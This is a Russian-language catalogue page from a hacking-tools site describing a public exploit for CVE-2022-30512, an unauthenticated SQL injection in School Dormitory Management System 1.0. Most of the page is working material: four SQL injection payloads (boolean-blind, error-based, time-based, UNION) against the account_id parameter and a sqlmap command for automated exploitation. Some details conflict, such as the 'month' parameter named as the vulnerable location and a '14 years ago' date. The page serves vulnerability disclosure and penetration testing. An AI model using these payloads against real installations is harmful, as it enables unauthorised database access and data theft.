Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2022-30512 — Система управления студенческими общежитиями 1.0 - Неавторизованная SQL-инъекция | Kitploit
Инструменты/GitHubGitHub/bigzooooz/cve-2022-30512
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийТестирование на Проникновение
GitHubbigzooooz/cve-2022-30512

CVE-2022-30512

Система управления студенческими общежитиями 1.0 - Неавторизованная SQL-инъекция

Репозиторий
14 лет назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2022-30512

School Dormitory Management System 1.0 - Неаутентифицированная SQL-инъекция

Название эксплойта: School Dormitory Management System 1.0 - Неаутентифицированная SQL-инъекция

Дата: 2022-05-25

CVE: CVE-2022-30512

Автор эксплойта: Abdulaziz Saad (@b4zb0z)

Домашняя страница вендора: https://www.sourcecodester.com/

Ссылка на ПО:

https://www.sourcecodester.com/php/15319/school-dormitory-management-system-phpoop-free-source-code.html

Версия: 1.0

Протестировано на: LAMP, Ubuntu

[#] Местонахождение уязвимости: $_GET['month'] в /dms/admin/accounts/payment_history.php:31

root@kitploit:~
Параметр: account_id (GET)
root@kitploit:~
Тип: boolean-based blind
Название: AND boolean-based blind - WHERE or HAVING clause
Полезная нагрузка: account_id=2' AND 6703=6703 AND 'jmUS'='jmUS
root@kitploit:~
Тип: error-based
root@kitploit:~
Название: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
Полезная нагрузка: account_id=2' AND (SELECT 7343 FROM(SELECT COUNT(*),CONCAT(0x71716b7671,(SELECT (ELT(7343=7343,1))),0x7170626a71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND 'htiO'='htiO
root@kitploit:~
Тип: time-based blind
root@kitploit:~
Название: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Полезная нагрузка: account_id=2' AND (SELECT 2865 FROM (SELECT(SLEEP(5)))hWAb) AND 'pbGX'='pbGX
root@kitploit:~
Тип: UNION query
root@kitploit:~
Название: Generic UNION query (NULL) - 7 columns
Полезная нагрузка: account_id=2' UNION ALL SELECT CONCAT(0x71716b7671,0x6458467273575152444c465a7a5276684f74756c7a754b6d506a6c437a5a516479574d5844694b78,0x7170626a71),NULL,NULL,NULL,NULL,NULL,NULL-- -

[#] Эксплуатация с помощью SQLMAP: sqlmap -u "http://localhost/dms/admin/accounts/payment_history.php?account_id=2" --dbms=mysql

Скачать инструмент